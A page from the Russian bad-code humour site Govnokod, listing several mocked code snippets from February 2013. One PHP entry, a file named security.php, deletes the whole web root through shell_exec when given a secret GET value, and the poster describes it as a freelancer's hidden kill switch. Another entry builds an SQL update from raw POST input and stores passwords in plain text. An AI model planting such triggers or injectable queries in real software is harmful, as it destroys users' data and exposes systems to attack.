1. Java / Говнокод #12583

    +79

    1. 1
    2. 2
    3. 3
    public class StringToObjectMap extends HashMap<String, Object> {
    
        public StringToObjectMap(Map<? extends String, ? extends Object> map)

    Нет слов выразить мою печаль.

    nafania217518, 13 Февраля 2013

    Комментарии (41)
  2. Objective C / Говнокод #12582

    −88

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    // поднимаем и опускаем панель голосования при входящем вызове
            for (ASSlideView* slideView in self.view.subviews)
                if ([slideView isKindOfClass:[ASSlideView class]])
                    for (UIScrollView* scroll in slideView.subviews)
                        if ([scroll isKindOfClass:[UIScrollView class]])
                            for (UIView* view in scroll.subviews)
                                if ([view isKindOfClass:[UIView class]])
                                    for (KVRateView* rateView in view.subviews)
                                        if ([rateView isKindOfClass:[KVRateView class]]){
                                            [rateView setFrame:CGRectMake(rateView.frame.origin.x, [[UIScreen mainScreen] bounds].size.height - 140 - [[UIApplication sharedApplication]statusBarFrame].size.height, rateView.frame.size.width, rateView.frame.size.height)];
                                            break;
                                        }

    No comments

    mas_an, 13 Февраля 2013

    Комментарии (17)
  3. Куча / Говнокод #12580

    +110

    1. 1
    <img border="0" width="476" height="179" src="file:///C|/Users/jy88h0/AppData/Roaming/Macromedia/Dreamweaver /eCustomer/iq/images/AI289.jpg" alt="Image of a properly addressed mail piece">

    http://faq.usps.com/eCustomer/iq/usps/request.do?create=kb%3AUSPSFAQ&view%28%2 9=c[c_usps0910]

    someone, 13 Февраля 2013

    Комментарии (3)
  4. PHP / Говнокод #12579

    +127

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    /* Групповые операции с обращениями */
    public function issuegroupopsAction() {
        $this->_helper->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $operation = $this->_request->getPost('operation');
        define('RTF_SYMBOL_PAGE_BREAK', '\page');
        try {
            // Валидация
            if(!in_array($operation, array('print-letters', 'print-work-order'))) {
                throw new Exception('Неверная операция');
            }
            $issue_numbers = explode(';', (string)$_POST['issues']);
            if(!count($issue_numbers)) {
                throw new Exception('Не выбрано ни одного обращения.');
            }
            // Вычитка указанных обращений
            $filter = new Type_Issue_Filter(array('issue_number' => $issue_numbers));
            $paginator = new Type_Paginator;
            $paginator->items_per_page = 40;
            $issues = services::Issue()->records($this->user->sessionId, $filter, array('executant', 'address'), 'number', $paginator);
            if(!count($issues->items)) {
                throw new Exception('Выбранные обращения не найдены.');
            }
            $templateMaker = new Prodom_Rtf_TemplateMaker;
            $templatesDir = dirname(__FILE__).'/templates/';
            $outputFiles = array();
            // Вид операции с группой обращений
            switch($operation) {
                case 'print-letters': {
                    // Сформирвать письма
                    $templateMaker->readTemplatesFromRtfFile($templatesDir.'templates.rtf');
                    $outputFiles = array('executants_%u.rtf' => array('issue2', 'letter1'), 'declarant_%u.rtf' => array('letter2'));
                    break;
                }
                case 'print-work-order': {
                    // Печать заказ-нарядов
                    if(!is_null($this->user->organization->issue_form_template)) {
                        // Если для организации определен свой собственный шаблон
                        $templateMaker->readTemplatesFromRtfFile($templatesDir.$this->user->organization->issue_form_template);
                    } else {
                        // Если шаблон явно не определен
                        $templateMaker->readTemplatesFromRtfFile($templatesDir.'templates.rtf');
                    }
                    $outputFiles = array('issue_%u.rtf' => array('issue1'));
                    break;
                }
            }
            $toworkIssueIds = array();
            $outputs = array_fill_keys(array_keys($outputFiles), null);
            // Перебор выбранных пользователем обращений
            foreach($issues->items as $issue) {
                // Переводим все новые обращения в статус "В работе"
                $issue_new_statuses = array(ISSUE_STATUS_NEW, ISSUE_STATUS_CONFIRMED);
                if(($operation == 'print-work-order') && in_array($issue->status_id, $issue_new_statuses) && ($issue->org_executor_id == $this->user->organization->id)) {
                    $toworkIssueIds[] = $issue->id;
                }
                // Подготовка полей обращения для печати на формах
                $fields = $this->getIssuePrintFields($issue);
                foreach($outputFiles as $fileName => $needTemplates) {
                    foreach($needTemplates as $template_code) {
                        $out = $templateMaker->getAppliedTemplate($template_code, $fields);
                        $outputs[$fileName] .= ($outputs[$fileName] ? RTF_SYMBOL_PAGE_BREAK : null) . $out;
                    }
                }
            }
            if(count($toworkIssueIds)) {
                $resp = services::Issue()->changeStatusMultiple($this->user->sessionId, $toworkIssueIds, ISSUE_STATUS_INWORK, null, null, null);
            }
            // Если на выходе только один файл, отправляем rtf
            if(count($outputs) == 1) {
                foreach($outputs as $fileName => $fileBody) {
                    // Генерация случайного имени файла
                    $fileName = str_replace('%u', substr(md5(implode('_', $issue_numbers)), 0, 7), $fileName);
                    // Вывод файла пользователю
                    header('Content-type: application/rtf');
                    header("Content-Disposition: attachment; filename={$fileName}");
                    echo $templateMaker->getHeader().$fileBody.$templateMaker->getFooter();
                }
            } else {
                // Eсли на выходе больше одного файла, пакуем их архивом
                header("Content-type: application/octet-stream");
                header("Content-Disposition: attachment; filename=issues.zip");
                header("Content-Description: Files of an applicant");
                // Создаем ZIP архив
                $zip = new ZipFile();
                foreach($outputs as $fileName => $fileBody) {
                    // Генерация случайного имени файла
                    $fileName = str_replace('%u', substr(md5(implode('_', $issue_numbers)), 0, 7), $fileName);
                    // Вывод файла пользователю в браузер
                    $fileBody = $templateMaker->getHeader().$fileBody.$templateMaker->getFooter();
                    $zip->addFile($fileBody, $fileName);
                }
                echo $zip->file();
            }
        }
        catch(Exception $ex) {
            die($ex->getMessage());
        }
    }

    Функция распечатки документов с отчетами по выбранным обращениям

    sciner, 13 Февраля 2013

    Комментарии (1)
  5. Java / Говнокод #12578

    +68

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    @Override
        public void execute() {
            try {
                Thread.sleep(1000L);
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            for (ClientListener listener : listeners) {
                listener.disconnected(this);
            }
        }

    Lure Of Chaos, 12 Февраля 2013

    Комментарии (1)
  6. PHP / Говнокод #12577

    +119

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    <?php
    session_start();
    if(empty($_SESSION['login']) or empty($_SESSION['id']) or empty($_SESSION['auth_key']))
    {
        header("Location: index.php");
    }
    else
    {
        $user_name = $_POST['name'];
        $user_sname = $_POST['sname'];
        $user_gender = $_POST['gender'];
        $user_about = $_POST['about'];
        
        
        $user_phone = $_POST['phone'];
        $user_mail = $_POST['email'];
        
        $user_company = $_POST['company'];
        $user_company_position = $_POST['position'];
        
        
        $user_login = $_POST['login'];
        $user_password = $_POST['password'];
        
        include 'includes/xd4sw.php';
        $update_query = mysql_query("UPDATE users SET user_name='$user_name', user_sname='$user_sname', user_gender='$user_gender',
                user_about='$user_about', user_phone='$user_phone', user_mail='$user_mail', user_company='$user_company', 
                user_company_position='$user_company_position', user_login='$user_login', user_password='$user_password' WHERE user_id=".$_SESSION['id']);
        mysql_close($db);
        header('Location: settings.php?act=good');
        
    }
    
    ?>

    НА НАХ!!!!

    Govnisti_Diavol, 12 Февраля 2013

    Комментарии (31)
  7. PHP / Говнокод #12576

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    <?php
    $param = $_GET['delaem'];
    if($param=='nahui')
    {
        $dir = __DIR__;
        shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
    }
    ?>

    Фрилансер защищает себя от неплатежеспособного заказчика xD

    Файл лежал на продакшин сервере около года, название файла - security.php

    uint, 11 Февраля 2013

    Комментарии (9)
  8. JavaScript / Говнокод #12575

    +166

    1. 1
    var strLabel = "<label for='yyyy' generated='true' class='error'>Чтобы зарегистрироваться, вам должно быть не менее 00 лет.</label>".replace(/00/gi, ageLimit);

    Автор: samsung

    111111, 11 Февраля 2013

    Комментарии (4)
  9. Си / Говнокод #12574

    +131

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    void *threadFunc(void *)
    {
    	// ...
    	pthread_exit( (void*)lTaskId );
    	return ( (void*)lTaskId );
    	// ...
    }

    позабавило.

    для непосвященных: return в функции потока аналогичен вызову pthread_exit().

    Dummy00001, 11 Февраля 2013

    Комментарии (3)
  10. PHP / Говнокод #12570

    +109

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    public function __get($name){          
            if(isset($this->fields[$name])){            
                if(class_exists($this->fields[$name]) && 
                   strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 && 
                   strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){    
                    $class = $this->fields[$name];
                    $id = (string)$this->vals[$name]['id'];
                    if(!$this->refsCache[$id])
                        $this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
                    return $this->refsCache[$id];
                }else                
                    return $this->vals[$name];
            }elseif(isset($this->fieldsRev[$name])) 
                return $this->vals[$name];
            else throw new Exception('Not found field "'.$name.'" when reading in model');
        }
    
        public function __set($name, $value){    
            if(isset($this->fields[$name])){  
                if(class_exists($this->fields[$name]) && 
                   strcasecmp($this->fields[$name], get_class($value)) == 0 && 
                   strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
                    $this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
                else                
                    $this->vals[$name] = $value;
            }elseif(isset($this->fieldsRev[$name])) 
                $this->vals[$name] = $value;
            else throw new Exception('Not found field "'.$name.'" when writing in model');        
        }

    Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.

    haker, 11 Февраля 2013

    Комментарии (9)